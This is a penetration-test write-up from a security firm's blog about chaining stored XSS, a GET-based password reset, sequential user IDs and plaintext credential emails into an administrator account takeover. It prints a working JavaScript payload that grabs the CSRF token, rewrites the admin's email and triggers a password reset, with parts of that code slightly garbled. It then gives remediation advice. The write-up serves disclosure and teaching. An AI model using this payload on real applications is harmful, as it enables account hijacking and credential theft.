This website uses cookies

To provide the highest level of service we use cookies on this site.
Your continued use of the site means that you agree to their use in accordance with our terms and conditions.

Insights

New Year, Fresh Vulnerabilities: Unmasking Hidden Threats in Web Applications

Marek Rzepecki

January 5, 2024

Security flaws, sometimes overlooked as minor ones, can escalate into significant risks for entire applications. Our recent penetration test identified a critical vulnerability enabling potential account takeover at the administrative level. This write-up highlights the essential need for comprehensive security measures throughout the application development process.


The Core Problem

We identified a critical flaw in the mechanism of how the administrator's panel was integrated into the application. Situated at the same address as the part of the application, where the user panel was vulnerable to Stored Cross-Site Scripting (XSS). The vulnerability gave users with even the most basic access the ability to execute harmful JavaScript code in the context of an administrator’s account.

Compounding Vulnerabilities

The severity of the situation was amplified by several other security oversights:

  • The application used GET requests to reset passwords, which opens the application to other vulnerabilities, such as Cross-Site Request Forgery (CSRF).
  • User accounts were identifiable due to sequentially numbered identifiers, making it easy for attackers to target specific accounts.
  • The system sent the new password, along with the old login, in plain text via email. This allows an attacker to gain access to the account without needing to guess the correct login.


  • Step by step exploitation

    Given the information we gathered during the application review, we began exploitation. The first step was to find a Stored Cross-Site Scripting (XSS) vulnerability, allowing us to inject malicious code into user details (for example, name or surname):


    The above step made the application download another part of the JavaScript code from an address controlled by the attacker. This approach was necessary due to character limits in the fields.

    The exploit required a sequence of calculated actions, beginning with the injection of the XSS code and culminating in a password reset. The attacker could then intercept the new login credentials and gain full control over the administrator account. On our controlled server, we embedded the following JavaScript code in a new .html file:



    1 (function() {
    2 var xhr = new XMLHttpRequest();
    3 xhr.withCredentials = true;
    4 xhr.onreadystatechange = function() {
    5 if (xhr.readyState === 4 && xhr.status === 200) {
    6 var parser = new DOMParser();
    7 var doc = parser.parseFromString(xhr.responseText, "text/html");
    8 var csrf = doc.querySelector("input[name='csrf_frm_userinfo']").value;
    9 //console.log(csrf);
    10 //console.log(document.cookie);
    11 var xhr2 = new XMLHttpRequest();
    12 xhr2.withCredentials = true;
    13 xhr2.onreadystatechange = function() {
    14 if (xhr2.readyState === 4 && xhr2.status === 200) {
    15 var xhr3 = new XMLHttpRequest();
    16 xhr3.withCredentials = true;
    17 xhr3.open("GET", "https://[...]/ admin/resetpass?id[]=7777", true);
    18 xhr3.send();
    19 }
    20 };
    21 xhr2.open("POST", "https://[...]/user/admin/edit/id/7777", true);
    22 xhr2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    23
    24 var params = "csrf =" + csrf +
    25
    "&first_name=xss"+Math.floor(Math.random()*100)+"&last_name=xyz&email=test%2BnameEVIL
    "+Math.floor(Math.random()*100)+"%40[…]&lqw>
    26 //console.log(params);
    27 xhr2.send(params);
    28
    29 }
    30 };
    31
    32 xhr.open("GET", "https://[...]/user/admin/edit", true);
    33 xhr.send();
    34 })();


    What is this code for?

    a. GET request to /user/admin/edit is sent, to gather the anti-CSRF code (lines 32-33).
    b. The script takes the value of csrf parameter from the response, which is the anti-CSRF token (lines 4-10).
    c. POST request is sent to the /user/admin/edit/id/7777 path:

    csrf_frm_userinfo=<value of anti-CSRF token obtained in steps a) and b)>& first_name= xss"+Math.floor
    (Math.random()*100)+2BnameEVIL"+Math.floor(Math.random()*100)+


    The above body changes the name of the user with ID 7777 (admin) to “xss” plus a random value from 1 to 100. This approach makes it easier to verify if the payload was executed properly. The email address is also changed to “test+[…]EVIL” plus a random value from 1 to 100 (lines 21-27).

    d. Once the request is executed properly, a third GET request is sent to the path: /user/admin/resetpass?id[]=7777. The goal is to reset the password of the user with ID 7777. When the administrator opens the application and visits the users' tab, the payload will executed (lines 13-20).

    The below screenshot shows that the name of the admin user was changed to “xss48” and his email address to:
    The last step ensures that an email containing the admin’s login and password is delivered shortly after.



    Conclusions

    This case study teaches an important cybersecurity lesson: a series of small vulnerabilities can combine to create a serious security risk. As shown, someone could take over an administrative account without direct interaction, showing why it's crucial to have strong, varied security measures in place.

    To secure your application against such vulnerabilities, we recommend a series of strategic changes and enhancements:

  • Isolating the Administrator’s Panel: Restructuring the admin panel to function in a separate, secured environment is crucial. This isolation ensures that vulnerabilities in the user-facing part of the application does not compromise the administrative segment.
  • Refining Action-Triggering Mechanisms: Moving away from using GET methods for state-changing actions in the application. Adopting more secure methods can significantly reduce the application’s exposure to various web-based attacks.
  • Implementing Robust Identifiers: Abandoning predictable numerical identifiers in favor of UUIDs adds an extra layer of security, making it exponentially more challenging for attackers to guess user details or manipulate user accounts.
  • Enhancing Password Reset Protocols: Replacing the practice of sending plaintext login credentials via email with secure, encrypted password reset links can prevent potential interception and unauthorized access, thus safeguarding user information.


  • As we progress, it's essential for organizations to integrate these cybersecurity practices thoroughly into their processes for developing and maintaining applications. Regular penetration tests, consistent updates to address emerging threats, and continuous education of developers on evolving security practices are key to maintaining robust digital defenses.

    In sharing the insights from this penetration test, our goal is not only to highlight specific vulnerabilities but to foster a culture of continuous vigilance and improvement in cybersecurity practices. As threats evolve, so must our defenses, ensuring that digital environments remain secure, trustworthy, and resilient against the ever-changing landscape of cyber threats.


    #Cybersecurity #WebApplicationSecurity #PentestChronicles #InfoSec #DigitalDefense


    Other Insights

    Helping secure DOMPurify

    MICHAŁ BENTKOWSKI

    December 21, 2020

    Within last year I shared a a few writeups of my bypasses of HTML sanitizers, including: > Write-up of DOMPurify 2.0.0 bypass using mutation XSS > Mutation XSS via namespace confusion – DOMPurify < 2.0.17 bypass While breaking sanitizers is fun and I thoroughly enjoy doing it, I reached a point where I began to think whether I can contribute even more and propose a fix that will kill an entire class of bypasses.

    Pyscript - or rather Python in your browser + what can be done with it

    Michał Bentkowski

    September 10, 2022

    A few days ago, the Anaconda project announced the PyScript framework, which allows Python code to be executed directly in the browser. Additionally, it also covers its integration with HTML and JS code. An execution of the Python code in the browser is not new; the pyodide project has allowed this for a long time...

    Art of bug bounty a way from JS file analysis to XSS

    jAKUB żOCZEK

    July 1, 2020

    Summary: During my research on other bug bounty program I've found Cross-Site Scripting vulnerability in cmp3p.js file, which allows attacker to execute arbitrary javascript code in context of domain that include mentioned script. Below you can find the way of finding bug bounty vulnerabilities from the beginning to the ...

    Any questions?

    Happy to get a call or email
    and help!

    Terms and conditions
    © 2023 Securitum. All rights reserved.